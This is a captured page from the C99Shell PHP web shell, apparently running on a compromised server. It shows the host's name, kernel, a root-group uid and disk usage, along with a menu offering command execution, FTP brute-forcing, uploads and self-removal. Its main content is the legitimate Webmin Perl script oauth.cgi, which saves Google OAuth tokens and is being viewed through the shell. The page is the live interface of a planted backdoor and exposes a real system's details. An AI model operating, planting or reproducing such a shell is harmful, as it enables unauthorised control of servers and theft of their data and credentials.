!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     oauth.cgi (2.58 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Update the oauth code for either Google Cloud Storage or DNS

$trust_unknown_referers = 1;
require './virtual-server-lib.pl';
&ReadParse();
&can_cloud_providers() || &error($text{'clouds_ecannot'});

# Get the mode for use one time
$mode = $config{'cloud_oauth_mode'};
delete($config{'cloud_oauth_mode'});

if ($mode eq 'google') {
    # Update GCS token
    $config{'google_oauth'} = $in{'code'};
    my $gce = { 'oauth' => $config{'google_oauth'},
                'clientid' => $config{'google_clientid'},
            'secret' => $config{'google_secret'},
          };
    my ($ok, $token, $rtoken, $ttime) = &get_oauth_access_token($gce);
    $ok || &error(&text('cloud_egoogletoken', $token));
    $config{'google_token'} = $token;
    $config{'google_rtoken'} = $rtoken;
    $config{'google_ttime'} = $ttime;
    $config{'google_tstart'} = time();

    # Validate that it actually works
    my $buckets = &list_gcs_buckets();
    ref($buckets) || &error(&text('cloud_egoogletoken2_gcs', $buckets));
    }
elsif ($mode eq 'googledns') {
    # Update Google DNS token
    $config{'googledns_oauth'} = $in{'code'};
    my $gce = { 'oauth' => $config{'googledns_oauth'},
                'clientid' => $config{'googledns_clientid'},
            'secret' => $config{'googledns_secret'},
          };
    my ($ok, $token, $rtoken, $ttime) = &get_oauth_access_token($gce);
    $ok || &error(&text('cloud_egoogletoken', $token));
    $config{'googledns_token'} = $token;
    $config{'googledns_rtoken'} = $rtoken;
    $config{'googledns_ttime'} = $ttime;
    $config{'googledns_tstart'} = time();

    # Validate that it actually works
    $rv = &call_googledns_api("/managedZones", [], "GET");
    ref($rv) || &error(&text('cloud_egoogletoken2_gdns', $rv));
    }
elsif ($mode eq 'drive') {
    # Update Drive token
    $config{'drive_oauth'} = $in{'code'};
    my $gce = { 'oauth' => $config{'drive_oauth'},
                'clientid' => $config{'drive_clientid'},
            'secret' => $config{'drive_secret'},
          };
    my ($ok, $token, $rtoken, $ttime) = &get_oauth_access_token($gce);
    $ok || &error(&text('cloud_egoogletoken', $token));
    $config{'drive_token'} = $token;
    $config{'drive_rtoken'} = $rtoken;
    $config{'drive_ttime'} = $ttime;
    $config{'drive_tstart'} = time();

    # Validate that it actually works
    my $buckets = &list_drive_folders();
    ref($buckets) || &error(&text('cloud_egoogletoken2_gdrv', $buckets));
    }
else {
    &error($text{'cloud_eoauth_mode'});
    }

&lock_file($module_config_file);
&save_module_config();
&unlock_file($module_config_file);

&webmin_log("oauth", $mode);

# This window is no longer needed
&ui_print_header(undef, $text{'clouds_oauth_done'}, "");

print "<script>window.close();</script>\n";

&ui_print_footer();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--